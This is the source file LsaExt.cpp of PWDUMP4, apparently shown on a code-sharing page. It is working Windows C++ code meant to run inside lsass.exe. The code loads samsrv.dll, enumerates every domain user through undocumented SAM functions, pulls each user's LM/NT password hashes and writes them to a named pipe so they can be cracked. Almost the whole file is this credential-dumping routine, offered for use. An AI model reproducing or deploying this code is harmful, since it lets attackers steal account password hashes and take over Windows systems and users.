📄 lsaext.cpp
字号:
/***************************************************************************
* Program: PWDUMP4 - dump winnt/2000 user/password hash remote or local for crack
*
* Copyright (c) 2002, 2003 bingle, all rights reserved
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Author: bingle@email.com.cn
* File: LsaExt.cpp
* Purpose: extract sam hash from lasss.exe
* Date: 2002-1-20
*
***************************************************************************/
#include <stdio.h>
#include <assert.h>
#include <windows.h>
#include <ntsecapi.h>
#include "Global.h"
typedef DWORD HUSER;
typedef DWORD HSAM;
typedef DWORD HDOMAIN;
typedef DWORD HUSER;
typedef struct _sam_user_info
{
DWORD rid;
LSA_UNICODE_STRING name;
} SAM_USER_INFO;
typedef struct _sam_user_enum
{
DWORD count;
SAM_USER_INFO *users;
} SAM_USER_ENUM;
#define SAM_USER_INFO_PASSWORD_OWFS 0x12
// Samsrv functions
typedef NTSTATUS (WINAPI *SamIConnectFunc) (DWORD, HSAM*, DWORD, DWORD);
typedef NTSTATUS (WINAPI *SamrOpenDomainFunc) (HSAM, DWORD dwAccess, PSID, HDOMAIN*);
typedef NTSTATUS (WINAPI *SamrOpenUserFunc) (HDOMAIN, DWORD dwAccess, DWORD, HUSER*);
typedef NTSTATUS (WINAPI *SamrEnumerateUsersInDomainFunc) (HDOMAIN, DWORD*, DWORD, SAM_USER_ENUM**, DWORD, PVOID);
typedef NTSTATUS (WINAPI *SamrQueryInformationUserFunc) (HUSER, DWORD, PVOID);
typedef HLOCAL (WINAPI *SamIFree_SAMPR_USER_INFO_BUFFERFunc) (PVOID, DWORD);
typedef HLOCAL (WINAPI *SamIFree_SAMPR_ENUMERATION_BUUFERFunc) (SAM_USER_ENUM*);
typedef NTSTATUS (WINAPI *SamrCloseHandleFunc) (DWORD*);
// Samsrv function pointers
static SamIConnectFunc pSamIConnect;
static SamrOpenDomainFunc pSamrOpenDomain;
static SamrOpenUserFunc pSamrOpenUser;
static SamrQueryInformationUserFunc pSamrQueryInformationUser;
static SamrEnumerateUsersInDomainFunc pSamrEnumerateUsersInDomain;
static SamIFree_SAMPR_USER_INFO_BUFFERFunc pSamIFree_SAMPR_USER_INFO_BUFFER;
static SamIFree_SAMPR_ENUMERATION_BUUFERFunc pSamIFree_SAMPR_ENUMERATION_BUFFER;
static SamrCloseHandleFunc pSamrCloseHandle;
HANDLE hPipe = INVALID_HANDLE;
char szBuffer[1000] = { LSA_OUTPUT_TAG };
/* used to send dump result only */
void SendBuffer( char *buff, int bufflen )
{
DWORD dwWritten;
if( !WriteFile (hPipe, buff, bufflen, &dwWritten, NULL) )
{
_snprintf (szBuffer, sizeof (szBuffer),
"WriteFile failed: %d\nText: %s",
GetLastError (), buff);
OutputDebugString (szBuffer);
}
}
/* used to send message only */
int SendText( char *lpFmt, ... )
{
va_list arglist;
DWORD dwWritten;
char *ptr = szBuffer + 4;
assert( strlen(LSA_OUTPUT_TAG) == 4 && memcmp( szBuffer, LSA_OUTPUT_TAG, 4 ) == 0 );
assert( hPipe != INVALID_HANDLE );
va_start( arglist, lpFmt );
_vsnprintf( ptr, sizeof(szBuffer)-4, lpFmt, arglist );
va_end( arglist );
if( !WriteFile (hPipe, szBuffer, strlen(szBuffer), &dwWritten, NULL) )
DebugOutput( "WriteFile failed: %d, Format: %s\n",
GetLastError(), lpFmt);
else return 1;
return 0;
}
// Extract the hash data and store it in the registry.
int __declspec(dllexport) GetHash( unsigned pid, unsigned hid, unsigned magic )
{
int i;
LSA_OBJECT_ATTRIBUTES attributes;
LSA_HANDLE hLsa = 0;
PLSA_UNICODE_STRING pSysName = NULL;
POLICY_ACCOUNT_DOMAIN_INFO* pDomainInfo;
NTSTATUS rc, enumRc;
HSAM hSam = 0;
HDOMAIN hDomain = 0;
HUSER hUser = 0;
DWORD dwEnum = 0;
DWORD dwNumber;
SAM_USER_ENUM *pEnum = NULL;
HINSTANCE hSamsrv;
int ret = ERROR_NO_ERROR;
HANDLE rpipe = (HANDLE)hid, hp;
if( pid == 0 || rpipe == NULL || INVALID_HANDLE == rpipe )
{
DebugOutput( "Invalid param found, pid:%d, hid:%d", pid, hid );
return ERROR_INVALID_PARAM;
}
hp = OpenProcess( PROCESS_DUP_HANDLE, 0, pid );
if( !hp )
{
DebugOutput( "\nOpen target process %d failed, error: %u\n", pid, GetLastError() );
return ERROR_OPEN_PROCESS;
}
if( !DuplicateHandle( hp, rpipe, GetCurrentProcess(), &hPipe, GENERIC_WRITE, 0, 0 ) )
{
DebugOutput( "Duplicate Handle %s failed, error: %u\n", hid, GetLastError() );
return ERROR_DUP_PIPE;
}
// Get Sam functions
if( NULL == (hSamsrv = LoadLibrary( "samsrv.dll" ) ) )
{
ret = ERROR_LOAD_SAMDLL;
SendText( "LoadLibrary samsrv.dll failed, error: %u\n", GetLastError() );
goto exit;
}
pSamIConnect = (SamIConnectFunc) GetProcAddress( hSamsrv, "SamIConnect" );
pSamrOpenDomain = (SamrOpenDomainFunc) GetProcAddress( hSamsrv, "SamrOpenDomain" );
pSamrOpenUser = (SamrOpenUserFunc) GetProcAddress( hSamsrv, "SamrOpenUser" );
pSamrQueryInformationUser = (SamrQueryInformationUserFunc) GetProcAddress( hSamsrv, "SamrQueryInformationUser" );
pSamrEnumerateUsersInDomain = (SamrEnumerateUsersInDomainFunc) GetProcAddress( hSamsrv, "SamrEnumerateUsersInDomain" );
pSamIFree_SAMPR_USER_INFO_BUFFER = (SamIFree_SAMPR_USER_INFO_BUFFERFunc) GetProcAddress( hSamsrv, "SamIFree_SAMPR_USER_INFO_BUFFER" );
pSamIFree_SAMPR_ENUMERATION_BUFFER = (SamIFree_SAMPR_ENUMERATION_BUUFERFunc) GetProcAddress( hSamsrv, "SamIFree_SAMPR_ENUMERATION_BUFFER" );
pSamrCloseHandle = (SamrCloseHandleFunc) GetProcAddress( hSamsrv, "SamrCloseHandle" );
if( !pSamIConnect || !pSamrOpenDomain || !pSamrOpenUser || !pSamrQueryInformationUser
|| !pSamrEnumerateUsersInDomain || !pSamIFree_SAMPR_USER_INFO_BUFFER
|| !pSamIFree_SAMPR_ENUMERATION_BUFFER || !pSamrCloseHandle )
{
ret = ERROR_LOAD_SAMFUNC;
SendText( "Failed to load functions, error: %u\n", GetLastError() );
goto exit;
}
// Open the Policy database
memset( &attributes, 0, sizeof(LSA_OBJECT_ATTRIBUTES) );
attributes.Length = sizeof(LSA_OBJECT_ATTRIBUTES);
// Get policy handle
rc = LsaOpenPolicy( pSysName, &attributes, POLICY_ALL_ACCESS, &hLsa );
if( rc < 0 )
{
SendText( "LsaOpenPolicy failed: 0x%08x", rc );
goto exit;
}
// Get Domain Info
rc = LsaQueryInformationPolicy( hLsa, PolicyAccountDomainInformation, (void**)&pDomainInfo );
if( rc < 0 )
{
SendText( "LsaQueryInformationPolicy failed: 0x%08x", rc );
goto exit;
}
// Connect to the SAM database
rc = pSamIConnect( 0, &hSam, MAXIMUM_ALLOWED, 1 );
if( rc < 0 )
{
SendText( "SamConnect failed : 0x%08x(%u)", rc, LsaNtStatusToWinError(rc) );
goto exit;
}
rc = pSamrOpenDomain( hSam, 0xf07ff, pDomainInfo->DomainSid, &hDomain );
if( rc < 0 )
{
SendText( "SamOpenDomain failed : 0x%08x", rc );
hDomain = 0;
goto exit;
}
ret = 0;
do
{
enumRc = pSamrEnumerateUsersInDomain( hDomain, &dwEnum, 0, &pEnum, 1000, &dwNumber );
ret += dwNumber;
if( enumRc == 0 || enumRc == 0x105 )
{
for( i = 0; i < (int)dwNumber; i++ )
{
char szUserName[300];
unsigned hashData[8];
DWORD dwSize;
PVOID pHashData = 0;
memset( szUserName, 0, sizeof(szUserName) );
// Open the user (by Rid)
rc = pSamrOpenUser( hDomain, MAXIMUM_ALLOWED, pEnum->users[i].rid, &hUser );
if( rc < 0 )
{
SendText( "SamrOpenUser(0x%x) failed: 0x%08x", pEnum->users[i].rid, rc );
continue;
}
// Get the password OWFs
rc = pSamrQueryInformationUser( hUser, SAM_USER_INFO_PASSWORD_OWFS, &pHashData );
if( rc < 0 )
{
SendText( "SamrQueryInformationUser failed: 0x%08x", rc );
pSamrCloseHandle( &hUser );
hUser = 0;
continue;
}
// Convert the username and rid
dwSize = min( sizeof(szUserName), pEnum->users[i].name.Length >> 1 );
wcstombs( szUserName, pEnum->users[i].name.Buffer, dwSize );
sprintf( szUserName, "%s:%d:", szUserName, pEnum->users[i].rid );
// Convert the user data
memcpy( hashData, pHashData, 32 );
obfuscate( hashData, magic, 8 );
pHashData = strchr( szUserName, '\0' );
memcpy( pHashData, hashData, sizeof( hashData ) );
SendBuffer( szUserName, (char*)pHashData - szUserName + sizeof(hashData) + 1 );
// Free stuff
pSamIFree_SAMPR_USER_INFO_BUFFER( pHashData, SAM_USER_INFO_PASSWORD_OWFS );
pHashData = 0;
pSamrCloseHandle( &hUser );
hUser = 0;
}
pSamIFree_SAMPR_ENUMERATION_BUFFER( pEnum );
pEnum = NULL;
}
else
{
SendText( "SamrEnumerateUsersInDomain failed: 0x%08x", enumRc );
}
} while( enumRc == 0x105 );
SendText( "Samr Enumerate %d Users In Domain %S.\n", ret, pDomainInfo->DomainName.Buffer );
ret = 0;
exit:
// Clean up
#ifdef _DEBUG
SendText( "ok\n" );
#endif
if( hUser ) pSamrCloseHandle( &hUser );
if( hDomain ) pSamrCloseHandle( &hDomain );
if( hSam ) pSamrCloseHandle( &hSam );
if( hLsa ) LsaClose( hLsa );
if( hPipe ) CloseHandle( hPipe );
if( hp ) CloseHandle( hp );
if( hSamsrv ) FreeLibrary( hSamsrv );
return ret;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -